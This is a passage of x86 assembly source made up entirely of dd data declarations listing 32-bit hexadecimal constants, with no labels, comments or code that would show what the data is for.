dd 66EFCD47h, 0F01D565Dh, 0F81FA193h, 0D71D78ACh, 0B6A1AA4h
dd 500E90Ch, 1B5F56E2h, 0D69DF5DDh, 66ABEDB8h, 0F98E1DA4h
dd 1CA2F6E8h, 871644EBh, 14B56341h, 0AB0B47D3h, 3DE959CCh
dd 0B27811EAh, 19AF9756h, 0C5BD51DBh, 0E760FBA5h, 0E549E9CBh
dd 0ED9B7FDAh, 65E67BAEh, 4833FC75h, 250705Fh, 0D4A33C31h
dd 8B312331h, 0D6C2EBDh, 963C0F3Ah, 2117FFD6h, 46EE7625h
dd 0DA505D35h, 0CFD36C90h, 1A2EF77Dh, 0CE296F8Bh, 1E59CE73h
dd 2D21DBC0h, 9DE2EFAFh, 0B2E860F3h, 0CEC1B7Fh, 0F434EBC3h
dd 7B96D2DBh, 0FE86637Eh, 26CAB74Bh, 0E12D60C8h, 5FBE31F0h
dd 8F25C2ADh, 0A4C63769h, 12B0BBE9h, 15FAB1FBh, 0A5CA1399h
dd 0DB055846h, 3428838h, 0CC0A1148h, 0CB28AC74h, 7E0E54D7h
dd 791143A9h, 1DD1C5BEh, 36C9D7C5h, 0C4A592E8h, 87C77DC4h
dd 2B48E322h, 3C9EB4A1h, 0D12746CFh, 30A2B24Bh, 524FA2F9h
dd 0F0213ED7h, 0AEE02979h, 0D2EBFF4Eh, 6A6C125Ch, 0C7A4AC3Ah
dd 0CB43BD44h, 0E018EADCh, 0BAAC8179h, 0E87F0F88h, 741C4C2Ah
dd 284D0D11h, 8B4C582Bh, 60DABEA7h, 0CC8EB1Eh, 25A7B522h
dd 0BC832500h, 397A519Ch, 5A370286h, 6A47499h, 4A3117B8h
dd 43EF9B6h, 45509332h, 0B7551549h, 9F340BBBh, 9EAB3601h
dd 3ECBDE1Fh, 4713664Dh, 0C48B8A44h, 40CB3872h, 43C6FF29h
dd 447B2412h, 15E79D24h, 0F37D9679h, 0BD1014AAh, 2BCADC1h
dd 8034D7B5h, 774B1ECAh, 80EFA0E4h, 0CC0FB780h, 661F8063h
dd 0A5980177h, 2864F548h, 87EB392Eh, 5FA00635h, 54172B5Bh
dd 0D3F1B0C8h, 86C35CEh, 0F0C2B2D6h, 0A30EF3AEh, 0E94C585Ah
dd 1EC1E91h, 4BA2CF37h, 89631A31h, 6EE6428Bh, 45A55D8Dh
dd 0EDD03D98h, 5E9445D9h, 0F29D018h, 1B45A086h, 94CE80Ah
dd 338E4079h, 0A41D61A4h, 0C0E2EC3Eh, 29B9A55h, 16E88910h
dd 683C62ECh, 17C5CC53h, 0D3DE2F7Ch, 0CE0F968Fh, 19CC259Eh
dd 5AE4C513h, 0ED88976Dh, 0B2630390h, 3FE94651h, 0A7DB0598h
dd 0A8D52F08h, 3984A44Ah, 97C896D3h, 2D758371h, 9180CA47h
dd 8CF09346h, 6BC4B402h, 0B12900C3h, 0B69B6640h, 0E02F749Fh
dd 55A162B7h, 4197D5D0h, 81FEB799h, 5244815Ch, 0E6BAC7F4h
dd 0CEF5DC60h, 40DAB427h, 1E3F6219h, 0D315F0ACh, 2A22BF3Ch
dd 0EA402DD2h, 2406A80Dh, 17BDB746h, 8609D253h, 7715B86h
dd 5EEE065Bh, 1D06E1B9h, 6A9C1CB1h, 4DBDF558h, 0F0712C56h
dd 0E0FDFC2Ch, 207D26EFh, 8BB731A5h, 418B5359h, 0A684A96h
dd 9A6F80ACh, 0F6042830h, 3D654A85h, 33759FBDh, 417D8489h
dd 3D3252B7h, 61E8C1E8h, 8685AB7Bh, 0EFF2C17Ch, 30C6445Eh
dd 19F61F56h, 2FE7D379h, 2E34DC86h, 0A4092AB9h, 0D46FB489h
dd 6B74D7C0h, 0EAAD0B5Ah, 34A05DDCh, 24534A68h, 61181DD1h
dd 69F49244h, 280F037Eh, 38055C60h, 8066D01h, 59468C1Bh
dd 0ADFFA129h, 32788CA0h, 0AFC949B6h, 3EA427EEh, 0BCF2E294h
dd 74B7909Ah, 0C627D9E1h, 90A62B0Eh, 11C37C0Fh, 0CC9D9541h
dd 0BB2A220Ah, 8C9F4B4Eh, 8D74E577h, 0F6B06938h, 0AF402B90h
dd 3CD158D0h, 27ADAE08h, 2CC9D31Eh, 0AB306FE3h, 6BD7A082h
dd 0B6813CC3h, 0C7362C8Fh, 5A15E6D4h, 0DFE039Eh, 5F734499h
dd 0F4D5C371h, 5693F003h, 0A293A4E9h, 90E39B74h, 39360E53h
dd 2C678180h, 0BC9BE9h, 0FCB13A06h, 30D683EAh, 6705848Ah
dd 0F8ED2C68h, 2815C7A8h, 3186E97Eh, 75083582h, 831EE3FCh
dd 915530B0h, 0B8C2FBEh, 3170B2E2h, 2A3CB546h, 0E86A30C7h
dd 0BD38FCA4h, 0F2DD3FAFh, 0F5C328A4h, 139BD5Fh, 427A6DC2h
dd 0A90421F7h, 642CE49Dh, 476B0133h, 87A7C4ADh, 80FF38A7h
dd 93AA65CCh, 0FA377AA0h, 0E30AE8E3h, 2F166A5h, 0BF653B4h
dd 71D09D9Eh, 530F0444h, 3493B97Ah, 15548B3Ch, 9CE1F2DBh
dd 84D51EB3h, 2328A22Eh, 0D42ADFE8h, 51E39F58h, 48A3E17Bh
dd 0B4E0D333h, 0FA8BAC51h, 0E65E63F1h, 0FC00F957h, 17B12834h
dd 0AAC3C4EFh, 6B039DACh, 0E693EACAh, 4DBF4236h, 0E8BF709Dh
dd 0CC3331FDh, 0D3F25C94h, 6CA88A0Bh, 0E84BFB95h, 0B9B6B0AFh
dd 0F9112871h, 6F29F75Eh, 0B7C36B07h, 0B7CF94C8h, 1FCDF0C9h
dd 46804429h, 45B2E11Bh, 0C28ECE2Bh, 0E7E91317h, 0A5EAB8A4h
dd 9067D851h, 1B7171FAh, 3318B918h, 0CD27C563h, 0CCDAFF98h
dd 4155B3C3h, 0AEC24CBEh, 30D83EAEh, 1E22CFE3h, 831F8FDBh
dd 6F20C4D0h, 0E139BA0Dh, 344012A6h, 77D924E1h, 66999F12h
dd 50F3EEF0h, 4EDB632Bh, 64B6C8F6h, 28BA457h, 0E2DCC9DFh
dd 539334B1h, 0B04FDCA0h, 0A3DF3A62h, 954E2E5Dh, 7FDC66A1h
dd 2AAC6499h, 95168A38h, 54F7406Bh, 90AAD291h, 0AC68F649h
dd 5CE50A4Ah, 6D9CA742h, 0D230D902h, 6442184h, 8BD67428h
dd 4BB654CEh, 6D710C4Ah, 0E73746B2h, 7A6E3BD1h, 4A69CD58h
dd 7524C88Eh, 289045D0h, 1B11AA92h, 7C112E56h, 5EE0FA2h
dd 35E27CD5h, 0E0974DEDh, 57E132DEh, 0BACA398h, 2C6F03D7h
dd 0E0B05CF5h, 0FE3F45CEh, 0B4140E6Fh, 0EB822E79h, 0E5060E32h
dd 5CE09629h, 67A49E83h, 7B2208CFh, 0BDE67EE9h, 45C7CA6Eh
dd 9C831CB2h, 5AA1646Ch, 0B909147Bh, 5A12461Ch, 0D39D614h
dd 2DE4F02Ah, 930FBAE5h, 93F5149Bh, 0E4318030h, 19A4B1F9h
dd 341E31C1h, 377B0D68h, 0F8FF11E1h, 9E8042B4h, 234596B4h
dd 50A19F44h, 0EED494A0h
dd 1299DA1Ch, 0E6CA7296h, 2CB91CFCh, 421F1457h, 0EEE55BB1h
dd 79EECA57h, 7B6BA584h, 0E4B31068h, 9C22F000h, 0CC1F1358h
dd 0E01F0F45h, 912FCA12h, 0AF3CC205h, 0C007B128h, 0DE66A018h
dd 3CB591B5h, 8790A001h, 8DE3E5BBh, 3E2C334Eh, 896BA475h
dd 7F3C60A3h, 62AC72BEh, 0B2423748h, 0B0602975h, 0EF642191h
dd 0C1C5CAA1h, 799C30D6h, 31FDB259h, 4250B0A4h, 0D580CE96h
dd 0B85B3CA3h, 64405D88h, 3559D849h, 43400091h, 45A4D29Dh
dd 65B7144Fh, 71958FD5h, 2635DE29h, 3E80C614h, 0B4EE7536h
dd 0EE6969FBh, 0D085D067h, 92D73080h, 0C1B9EF34h, 58D30116h
dd 2B4B26D1h, 0B1F36BD1h, 32D35AB0h, 1608C7Eh, 0E1DBB22Dh
dd 53951AA4h, 0D29FF121h, 4A3689ADh, 33972BCFh, 0A933338Ch
dd 0AE3BE804h, 64F9BD08h, 0C6F70EB9h, 9EC32315h, 0B98CA4EEh
dd 50C299C5h, 3592CD6Ah, 4AB2526h, 9A996F2h, 0E1D742E3h
dd 55E6752Bh, 80403D2Ah, 5F6CA83Fh, 8465F417h, 0BB5D0C5Ch
dd 0F6FEEF9Eh, 3D334F7Ah, 0B560B42Ch, 1821EC69h, 44482675h
dd 0A6DCE9CAh, 0F497D7BEh, 0B2BAE13Ch, 811411BBh, 5A464E0Ah
dd 7FB6FA55h, 14751AF9h, 9EFCB348h, 6713A9ECh, 4DF881Bh
dd 23F186ADh, 0F244FECh, 0CD94225Ah, 82993ECFh, 0DE0DDA3Fh
dd 0A28C1564h, 92AD6E3Dh, 1381FCBBh, 2FD6A08Dh, 933ABDBBh
dd 0DA5B543Ch, 73402E3Fh, 0C9BD90E8h, 0D48FD3AEh, 28C12C1h
dd 1EE49F67h, 0B430FBF7h, 23F0E39Eh, 0B2CF1E7Bh, 84327417h
dd 7EA15760h, 54454B8Ah, 8C98685Fh, 0BD168DB4h, 0F4FE1DCEh
dd 0C48268AFh, 0BBCD663Fh, 0E3A57317h, 43F65432h, 217991E7h
dd 0EA2C0E09h, 0ED9CBAAEh, 0F1D738B1h, 8F106381h, 2F3634BBh
dd 2A80F6E8h, 5503FBE4h, 468BE24h, 82123AAFh, 0B0DBF6F8h
dd 561B9649h, 0CE20014Ah, 0C36FFF1Ah, 0EC8600D7h, 4F162968h
dd 0EAC20358h, 0BE4F4C3h, 2B09BE31h, 7C342889h, 6071DB68h
dd 0ED907EC4h, 174D96D1h, 49B15E86h, 0C375D44Bh, 0B79A1F81h
dd 641DF083h, 4F4D4A08h, 156B088Ch, 5687EE47h, 9A139956h
dd 2B35BABEh, 0F5147728h, 0A489D136h, 840D8D7Ah, 0C6D53515h
dd 131FE14Bh, 0CC027170h, 0F9ADD432h, 52DB0B27h, 0A873439Fh
dd 6BAD1964h, 632FF298h, 2A068B97h, 657BDC87h, 0D6198FB0h
dd 0B7AA67Ah, 0A14BF84Fh, 886391B6h, 84E617A0h, 0D383CBB8h
dd 95B86502h, 41B255EAh, 1BD07FCDh, 9CF5D158h, 746A2176h
dd 0ED0D406Eh, 0AC1B8D22h, 0DAD53FFBh, 0CB03D6E1h, 557FBE3Bh
dd 0BFCC4D89h, 3AFCF173h, 0D645A461h, 3C2E4EB8h, 0BAA9B4FDh
dd 0B0CB4CE5h, 0EA9E1923h, 0BB3B1CDBh, 0D73C7F0Dh, 49501917h
dd 1A9B3D3Ah, 0AD5FE6F1h, 129C8183h, 8D9A763Bh, 5EB0E538h
dd 0FC0703C4h, 66CEDE01h, 5AC12E49h, 0F96DC4E4h, 998BAFE2h
dd 65903D69h, 61E34F4Ah, 78C3872Ch, 0CCFA8F82h, 0FDA0A15Dh
dd 5918F91Bh, 859A403Bh, 1EB49436h, 65C97457h, 99F92F34h
dd 14FF6E36h, 0CFEC37Dh, 8677AF32h, 6CD33E41h, 36F81E2Ah
dd 8CF4E0AEh, 0F0971DEh, 0BCF2ABB7h, 0B48AC03h, 0DFF481ADh
dd 0B122983h, 2446BE07h, 0B6C2EE16h, 0FA4B2409h, 65A66E15h
dd 5207E7C9h, 0B14F4F2Ch, 2E61737Ah, 3CD99C65h, 5F879FB7h
dd 2E02717Bh, 0E5F0A2Fh, 0DC4DD43h, 72B9FE29h, 0DD91E29Ah
dd 2F35E42Ah, 0BFD37A35h, 44B3660h, 74ACE646h, 0B195551Eh
dd 5E1AB4ACh, 0E01D0C5Ch, 88822CCEh, 3190E9C9h, 85B6FD43h
dd 312A5966h, 0A311DC96h, 5E1B60Fh, 745BD496h, 39311FC2h
dd 9ACEA07h, 0A4C17706h, 8A8046E6h, 462815A5h, 20C7A127h
dd 785EF22Dh, 0BC4AE1DBh, 0F108AEh, 179DD886h, 7E05F7B9h
dd 0E5174068h, 0E848CC51h, 57110DF7h, 3C2BCEDAh, 196FA8D4h
dd 25B1B5A1h, 9A656EA8h, 0ED5435B8h, 0B71627ADh, 0BCAEA935h
dd 14723842h, 3B4A6A79h, 4C28F9DFh, 0E8741EFEh, 4602E117h
dd 301B685Ah, 0DC37CCF0h, 6327AE31h, 4825F69Bh, 126B029Ah
dd 6B53AA64h, 67E04B84h, 0A30F688Eh, 339CD70Bh, 313E4BFBh
dd 0E09FE7DCh, 32060F66h, 0A4536E70h, 2A38A7BEh, 9FA0B194h
dd 0AEC62F8Dh, 83FB425Fh, 0F9FA83C9h, 0E92FE4B2h, 0E646E080h
dd 8B8D6046h, 1306A932h, 0D264C9DCh, 0AD247F5Ch, 7EB22179h
dd 0A6BC74ABh, 0E0EEFE08h, 0BAC92925h, 0B95B3662h, 0B1CBDFEBh
dd 0CCBA87B5h, 0CD6AF5C1h, 0EEF4CD5Dh, 0A06F6C37h, 0B91903FBh
dd 6CC6D321h, 0E8D7707Ch, 1198E40Fh, 5EAFD01Ch, 26703C60h
dd 0B4D30E8Bh, 2C7CB86Ch, 0C0199A73h, 35A1E220h, 0BB399AD1h
dd 0F6E4950Fh, 1956A0C7h, 0E58F43F8h, 0E22BF3FAh, 5230C89Bh
dd 0FFD6FB59h, 0B9A793C8h, 525EBC75h, 68FFDB2h, 8D47CACBh
dd 0FB52461h, 0A122933Dh, 3CFE9B2Dh, 493B8D13h, 2779D478h
dd 8AF9A288h, 24658198h, 0DE213FC5h, 0D1DAF5E2h, 2837A6EBh
dd 0A13A9DFEh, 515FCA45h, 0F673F834h, 5845AED4h, 7673EC62h
dd 0BEC5DAh, 46AA83F7h, 12B997DBh, 0C4C81176h, 0DB1D2DFBh
dd 0BCE023h, 5EB4B0BBh, 0D1BE912Ch, 0AF47726Eh, 74D80DABh
dd 0F994BF37h, 7EAD433Dh, 0DABD9ADDh, 841AC3D6h, 0BAD35D26h
dd 3790E7EDh, 0EC571794h, 0D872DDBCh, 0AAEEA51Ah, 8D0913A7h
dd 60B0FE33h, 0A2C4A1E0h, 26ABAFC5h, 6134BB8Bh, 806C3066h
dd 70DF83Bh, 9303DF4Ah, 26273756h, 0BD2D3715h, 701DE615h
dd 59B4057Bh, 879C520Eh, 58C810B5h, 8F431A6h, 46E8F7F1h
dd 56C5A171h, 0BBD022E8h, 0E0CBA6D1h, 515CC356h, 0F7F38364h
dd 958A0CF7h, 21EE4844h, 0ECC398Ah, 0CE6C659Dh, 0AC21CC0Eh
dd 28A6F895h, 2803260h, 0CFA0D333h, 1C84EEB2h, 5A846848h
dd 0DF17BEE0h, 15CB5C95h, 26FA1152h, 0B6C09B58h, 0DEC8A407h
dd 8F08D9CEh, 17D7D598h, 874A4A0Ah, 0A496418Dh, 7748F08h
dd 9F7CD7AFh, 830002Bh, 37212595h, 0FD1B6BF0h, 284B6C00h
dd 9C6250C2h, 20E990C4h, 63222233h, 9E7AC4D1h, 46B1B095h
dd 8621C268h, 0BC40E503h, 6992D844h, 7F432B1Fh, 1E53E38Bh
dd 0B2DE6030h, 5BBE7D9h, 74F3DCA5h, 395D1D20h, 23AA5E05h
dd 96B18F62h, 34CE113Dh, 7B252DECh, 96ED025Dh, 0B2D6A263h
dd 9C3B19ABh, 0E6A02838h, 1A311B9Ch, 9CD436F2h, 0D81EE15Fh
dd 5923F2E9h, 79619B5Ch, 81C7C1CAh, 0A13CD26Dh, 3677ADA0h
dd 868E225Ch, 5527904Dh, 7862C1AAh, 94892BCDh, 0AF9E6620h
dd 2B08C750h, 0E8E49C11h, 91446AD4h, 8A48F2FDh, 0B3757017h
dd 57C327Ch, 0D55E67FCh, 784EC0D2h, 0AAC5575Ah, 5554C8FAh
dd 0ABFBE97Ah, 9BE54B4Ch, 0B93B4E1Fh, 1A650238h, 1E983237h
dd 2D5061Fh, 98811CDDh, 1C888F4Ah, 0B8C9AB66h, 0B5AC2ACCh
dd 607A5F29h, 816E99E0h, 1875765h, 24485E21h, 12E2ECB2h
dd 0C8C975D4h, 0BDF8A8C3h, 108BFF3h, 11AE3134h, 458A6F29h
dd 249F955Dh, 0F0A410CFh, 0B7B1415Fh, 165B512Bh, 30F561A5h
dd 0A7250F85h, 247EEF46h, 0A3D895F0h, 0D63AB36h, 0CD131E78h
dd 2CEDDEF4h, 0E2CEEED7h, 84D4D3A5h, 1472079Dh, 0AED302F7h
dd 1BD5AF32h, 0FD0412D4h, 0BA49846h, 0C09E3488h, 0C13BC9FBh
dd 3524F674h, 8D0AA3EBh, 88DA060Ah, 8851C25Dh, 313A6463h
dd 0F8060CC5h, 0E521CF07h, 0F733FE3Eh, 3CCCABAh, 2C4D3996h
dd 3FD0BA12h, 75D84AF4h, 773B8ABEh, 0B9E32A68h, 0FA9CBF6Dh
dd 9E40006Ch, 291F7E5Ah, 0ABBFF9Bh, 1D1FD6FEh, 52F33FECh
dd 6D584825h, 64750B34h
dd 529BE2ECh, 4F3AB0Ah, 4BDB3690h, 0B124FB78h, 90AE653h
dd 28AC3E26h, 3B9E454Dh, 0E36D07BAh, 0B6329CD8h, 98FD372Eh
dd 67F00944h, 55EF79CEh, 654FB5BDh, 56B3645h, 0AE5B0A31h
dd 0A34D853Dh, 155BC2F0h, 50B7C784h, 51EA900Ch, 7761C780h
dd 756C0DFCh, 7CF6726h, 0EB4A5F76h, 302B166Ah, 0F19D3781h
dd 9313CB21h, 6D91F17Ah, 0FB47EA0Bh, 5CC9BDAAh, 1F99E50Ah
dd 0A0979370h, 26B653h, 90337542h, 0C6D3987h, 8071FAC1h
dd 4559DC24h, 53D30D6h, 6AFF4414h, 0A79D3C61h, 0BDA1C97Eh
dd 41F47EE7h, 0BD09E15Eh, 0FD703FAAh, 0E28E1104h, 0B5A8E40Ch
dd 61446D28h, 1E09253Ch, 2173E09Dh, 78C15D8Eh, 0D0710FBDh
dd 0B04D3741h, 0DEB40DC2h, 0DD7CF3E7h, 56360ED1h, 659E53BCh
dd 6F13A6E2h, 17648AB4h, 0A79E69C0h, 84C85E46h, 44E6F44Ch
dd 3FEDF165h, 0A6C47659h, 0CA36BA2Ch, 0BC6B7E54h, 849339A0h
dd 420572DDh, 2FC15C73h, 0CB23AB79h, 0C6A5C5C6h, 0A4DB71FBh
dd 3C050290h, 82FE41FDh, 0BAE8F0E9h, 0E3A92EDEh, 4EF5EF7Bh
dd 858E8AF6h, 83EA728Fh, 68455450h, 63E6F96Dh, 0D147C36Fh
dd 0FCFF1FADh, 7B45BC03h, 0FDA33F64h, 0A22B0A9Ah, 9ADD40Bh
dd 0D922077Ah, 8C882327h, 0E5635D19h, 0FC9A7A4h, 7B635099h
dd 0AD139B31h, 3287DCA7h, 477E2311h, 0AFFF2134h, 5D4CE9D4h
dd 11FF6A40h, 0AFBC6A41h, 6EE6DA48h, 24DD27F5h, 0FACF15FFh
dd 89E29256h, 0A3EA45C4h, 0D44D7E27h, 7C73CC5Bh, 678C05E8h
dd 54038B86h, 0B07E5C88h, 0FC0860D2h, 0A5CC2E61h, 6A135FF3h
dd 5B9ED5A5h, 0DB68AB91h, 195CD405h, 0F698F08Bh, 0EA8CAB21h
dd 0E833302Dh, 752C6467h, 0F6F2733Ch, 0B2EBC0EEh, 112A88BDh
dd 0A66781FFh, 26CBA456h, 0D32DEB8Fh, 0A3200130h, 1E67B3A6h
dd 0F191FBEDh, 0EC3AB11Fh, 377DD7B1h, 82C214F8h, 5D64F4Dh
dd 0A8DEA02Ah, 0F8D19BB9h, 24186C48h, 0BD441BCh, 0ADE6E478h
dd 0CA1257ADh, 0F6BE26BBh, 75A74F9Bh, 26D8BDFDh, 0F01C6995h
dd 3A01809h, 0EE2AAFABh, 7D5EFF1Eh, 0E9FDD186h, 0F016B229h
dd 0F6C3C1BBh, 58CB0BB6h, 49269604h, 1439D021h, 0B71B743Dh
dd 2AC283A5h, 0FC3F2211h, 18C1F58Dh, 0DEE6513Dh, 0F3730ABEh
dd 0D31B2D80h, 6EE1C2F7h, 6333638Eh, 1E036834h, 0F7EC8F61h
dd 0F2287DEEh, 503FC2DDh, 0E9670D90h, 60000CF2h, 5F5753A5h
dd 71A14178h, 8311FA9h, 2695DDAh, 3BDC93C0h, 68BEC971h
dd 8A7D99Ah, 2A69BB59h, 406F3442h, 65738ED5h, 0B50274A6h
dd 2851EFBh, 3509C96Eh, 2F0D39A3h, 5E25B174h, 38BCCD0Dh
dd 4E9421CDh, 49787559h, 0A0A36DF3h, 0B9CDB4CDh, 0D03AC5DAh
dd 6A14EA17h, 5F2FE6CAh, 4F6E5BC2h, 80047C6Fh, 0AC422D64h
dd 989BD8C2h, 0FC7EC0Dh, 32AECAFDh, 2DDB13F1h, 3C5E7045h
dd 0EF434821h, 1C015B5Ch, 77F2A2EFh, 0C6FED8A9h, 26301749h
dd 362853CFh, 8057BF03h, 56ABFF6Dh, 7B39B810h, 1ADC9111h
dd 2087CAF7h, 0E5F6ACF9h, 0BCDB454Dh, 0F6E901EFh, 0B9D4533h
dd 2313ABCh, 0F899EEEh, 0B1439ACAh, 0EEE876D5h, 445B881Bh
dd 72CB3069h, 342D3AFCh, 0A99A17D1h, 4483A1BDh, 14236A73h
dd 26642528h, 4A84AF1Bh, 69FB48A9h, 373D6FF4h, 8AA5D36h
dd 3398076Fh, 574735CEh, 0B437943Bh, 0D4F77CD4h, 0A60A94DFh
dd 0D047EF38h, 0BCB0BCDBh, 0E8B7F244h, 1302385Ah, 944C563Ah
dd 0CBF78C25h, 7C6C6FADh, 604EC134h, 0AEA8EDDBh, 0A150204Fh
dd 98B793B2h, 5F70594Ah, 0F32A920Bh, 3A627CDAh, 6798FCB8h
dd 0CC040843h, 854C6F29h, 3876CC20h, 0A83F927Ch, 72A000C7h
dd 0F02A81E2h, 3BD90AB7h, 5BD5F5D8h, 0AD17221h, 0C888E24Ah
dd 9DD04307h, 59914D23h, 0D47F14B6h, 2FFD7DE6h, 8FFEC3A4h
dd 59BE3242h, 0BE6AE949h, 7E464CB0h, 0D93D3A31h, 5F0538AAh
dd 23C40E65h, 0C10B1A0Fh, 708E4A40h, 0ACBE3B3Bh, 27C55EA5h
dd 0A59F28A5h, 0C6A05673h, 0A98A5194h, 60A6BC1Fh, 0C09E1D5Ah
dd 853D18CDh, 36348D7Fh, 42A8D741h, 0C074EB8Ch, 82FFEE4Bh
dd 80EA8D97h, 2CB78C99h, 0AD14DDB6h, 0EB4F7C29h, 148BEFB7h
dd 7E31D4E6h, 55032F63h, 3BD07E5Bh, 0AAE681C0h, 8AE7BA9Fh
dd 7A318614h, 0BDF87424h, 7ECB9102h, 2ABC74F4h, 0D077C1C6h
dd 9F3D7537h, 8ABD0AB5h, 2BB13750h, 0A208C49Fh, 0EE19E20Dh
dd 0F4CAC891h, 0E0CDF4D9h, 0B476A989h, 744791CEh, 0FC1CA3AFh
dd 2783AD7Dh, 83B20839h, 1E9D47C7h, 8E80A207h, 0AD9E3A6Eh
dd 84986727h, 89E5669h, 0CAB825F7h, 0ECC370Ch, 55175834h
dd 0A43B28D6h, 78EEFADBh, 0BC922095h, 8167A162h, 0C2920B64h
dd 6942ABC3h, 823BFB1Ah, 0DFC3E8FBh, 0AAA4E56Bh, 146807F7h
dd 0B3BA5E7h, 427EFABh, 38D43F13h, 0FD5C7D1Bh, 0FCBCF80h
dd 0CE60D47Fh, 2842E95Bh, 27839D2Eh, 7744EBE0h, 0F2D9DCF5h
dd 0BFCBE13Eh, 536B2638h, 6B99F2BEh, 6F6E5B30h, 41FA61F1h
dd 0A8417446h, 0B06DA294h, 0E6203752h, 2EE19F36h, 3A7E2091h
dd 4F304E7h, 0A73334A8h, 0E03156CFh, 51D070CDh, 0AA1F442Ch
dd 0F6550470h, 4C658FA3h, 3F506C59h, 0C77873B7h, 7FF2A00Dh
dd 0AA6E1B4Fh, 7CE69E7h, 0EA1C6065h, 859FA28Ah, 0BD53AC8Ah
dd 0CAE6C0F5h, 0DF6C714Bh, 0C78CE0E3h, 0AAB68D47h, 0D59A1ADFh
dd 0F2D9ECD6h, 0B997925h, 3E88F8EBh, 17D07963h, 53C7B78Eh
dd 3747EA56h, 7B0CD634h, 0C51E1721h, 0CEC3A121h, 0B7F16F87h
dd 0BD5D8B28h, 2F7B8322h, 0CFAAEF0Ah, 2DB63266h, 46BD936Fh
dd 0B09BC340h, 5A1CF6F9h, 0B281667Eh, 0DC39D617h, 74EDC8AEh
dd 16052517h, 468D11E7h, 34FE2293h, 4D469A17h, 721B35Eh
dd 5DF61E9Dh, 557E7AC2h, 0BB3D2A34h, 0C7762A96h, 0C75C8A74h
dd 33182B74h, 0A3AFAF5Fh, 77FA43D1h, 359CADB9h, 0FE1D3E1h
dd 85CCDE61h, 5FEE78F1h, 2781F27Dh, 0EB129BF5h, 3BD5FAEDh
dd 6F1A24Fh, 0EFA369CEh, 71F0796Ah, 62332531h, 18344B29h
dd 0A91BB6AAh, 53069925h, 0C6429F8Bh, 5C421889h, 0B371F94Ah
dd 0DC236ED2h, 0AED622C1h, 86F0B121h, 78A271BFh, 0A4DBAC06h
dd 85CFB2CDh, 0D657A2A2h, 419B4701h, 0CEE0995h, 7491F55Ah
dd 49D2C0F4h, 319AFA84h, 927941B7h, 0C2622633h, 758D863h
dd 0E5236F07h, 704C6A80h, 32B26101h, 0FA8DECFCh, 0FE2CB08Eh
dd 92AC42E6h, 0F450D629h, 48EEFB20h, 1F88F99Eh, 0F047D8B7h
dd 0AE19C78Fh, 0EE200573h, 60ED3A0Ch, 70CB04F0h, 0D3845FBDh
dd 3FA57CE9h, 61A344F5h, 0D7AF49B1h, 175BDBF2h, 0A584AF0Bh
dd 58357252h, 67890525h, 0A974F184h, 0FD6215ADh, 1F2EADCDh
dd 6C877519h, 9ECBDBD7h, 0F022F8D1h, 1D1DDECh, 0CA7A2DD0h
dd 791609D5h, 99BFF32Bh, 0EEF2F26Bh, 93062F8Bh, 2FF5DCFFh
dd 0C1FBA2D1h, 5B09C19Ah, 0BC859458h, 0A1057734h, 0B50302C3h
dd 747A0E84h, 5D706285h, 0A980CC62h, 74CFCEA8h, 3AEC339Eh
dd 35D34F55h, 0BFFFAB95h, 3AA1E84Bh, 9E83B050h, 0A6A318EDh
dd 81B5F74Ch, 265EE588h, 304492ECh, 0CACC0874h, 45672B1Bh
dd 0EB7E111Ah, 0A8D9B4CDh, 0DA3C2F0Bh, 98D5DA58h, 85D47F89h
dd 0EB8AFD83h, 0BF8AACF1h, 0E74EAB13h, 6EA7AB2h, 0F430D701h
dd 954149C8h, 17B3A458h, 296A731h, 1DEEDAA6h, 34C8F7A8h
dd 34D5139h, 8A1DA64h, 0B15B98D2h, 0C69CE978h, 0CECB5491h
dd 0CAC94066h, 305CD2DBh, 0A044925h, 0C9AAEFFDh, 4F13C0Fh
dd 0AD754454h, 9AD1A419h
dd 7B8264ADh, 7AB20FAFh, 0F04652AAh, 0FFB4AA4h, 6439B4Ch
dd 0E1B66D05h, 0EFFD7FC3h, 0AC3DD320h, 0E28947F0h, 0A8F8B82Dh
dd 54E94DC5h, 794C8B5Ch, 0DC718FC6h, 1131ACD2h, 51F1486Dh
dd 0C2B83ADEh, 0FF0B2C4h, 0CD7104F3h, 0CDFE2887h, 97883B16h
dd 0DEAECD61h, 0D065A5D9h, 272C2D6Bh, 936F6F35h, 964AA33Ch
dd 0F219B4C2h, 0AE870B28h, 0CC8E68DEh, 1FB2BED9h, 0A31D4950h
dd 0EF6D3D12h, 9B34084Fh, 9493329Dh, 0AE619C2Ah, 9CB6B450h
dd 0A9D23627h, 5CAA9789h, 89BF8A17h, 71049EEDh, 97EBB7A0h
dd 4DF7E6D8h, 83682CD9h, 0BA4CFA52h, 2E2BE356h, 3D98F8A2h
dd 3B806735h, 5587D9EDh, 5D378556h, 50271417h, 197887A8h
dd 0DF86CAB8h, 1787C2DDh, 3803989Ch, 3882EF7h, 8124E766h
dd 9903F9E2h, 5988AC09h, 890A6420h, 9D6E8D20h, 79FC47D3h
dd 0C7C54F15h, 292D7E95h, 607F9608h, 0AF07D6BCh, 73A80DD9h
dd 0D4A191CEh, 0AEA6B90Ch, 577BD9A2h, 17F750C0h, 9C146964h
dd 0B57BD9A7h, 630611BDh, 8F39D52Eh, 8D12C8A2h, 9670CF0Bh
dd 3CF99062h, 54FBF22Eh, 4D2F4ED4h, 0E729B119h, 5EB7D6E5h
dd 16ECB22Ch, 3D9575A0h, 664B8FFFh, 4964A3C5h, 0CD2299F1h
dd 0C8A1B9F5h, 0DB0150Ch, 923453F2h, 0BEAA5BFCh, 0AF770188h
dd 9AE9B91Ch, 92FC7441h, 4ABD9566h, 0CC105577h, 439B00F4h
dd 0C1DD01FCh, 4B982122h, 1E0EC581h, 5715359Eh, 0A2394B84h
dd 28A103AAh, 0EE56E69Dh, 705133BCh, 4BD1A0EBh, 68A41CECh
dd 2520E5CDh, 1D84DDB0h, 7B1FE131h, 9B5D2589h, 0AC16DCCCh
dd 2296BA9h, 1617D2C4h, 210DCAF9h, 5309E048h, 0F53BCEC5h
dd 87BE3A92h, 0A1C60399h, 84DC0FEDh, 3CE3BBA2h, 0CFCDB12h
dd 6FFC8E3h, 0FF639B91h, 8EA43D6Ch, 0AC7E998Fh, 0E55E1DEAh
dd 0C74B6E7Ah, 0C9EF014Ah, 47D232C2h, 4848F4Eh, 10BB6C4Dh
dd 0D6D25A27h, 6954554Fh, 5DA092AFh, 9DF0DD31h, 0E3AAF99Dh
dd 98C41EBBh, 0FBD71266h, 5F18DA6Bh, 98A79DF1h, 0F1C56979h
dd 75890232h, 8826C469h, 0F2CA8E99h, 0C7170479h, 995C10BAh
dd 246676F0h, 678E4B8Eh, 0BFD89584h, 0CF73E302h, 0C4A8C9D2h
